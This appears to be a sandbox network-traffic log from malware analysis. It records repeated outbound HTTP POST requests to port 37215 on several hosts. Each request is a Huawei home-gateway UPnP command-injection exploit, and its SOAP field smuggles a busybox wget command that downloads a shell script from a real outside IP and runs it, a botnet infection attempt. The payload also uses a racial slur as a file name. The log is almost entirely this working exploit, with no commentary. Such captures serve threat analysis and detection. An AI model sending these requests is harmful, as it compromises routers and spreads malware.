Feb 19, 2024 18:37:11.585984945 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:23.617456913 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:48.192810059 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.15	45206	122.114.75.245	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:01.248473883 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:05.442095041 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:11.585998058 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:23.617460012 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:48.192889929 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.15	36598	37.16.30.220	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:01.752603054 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.15	54754	45.42.90.37	37215

Timestamp	Bytes transferred	Direction	Data
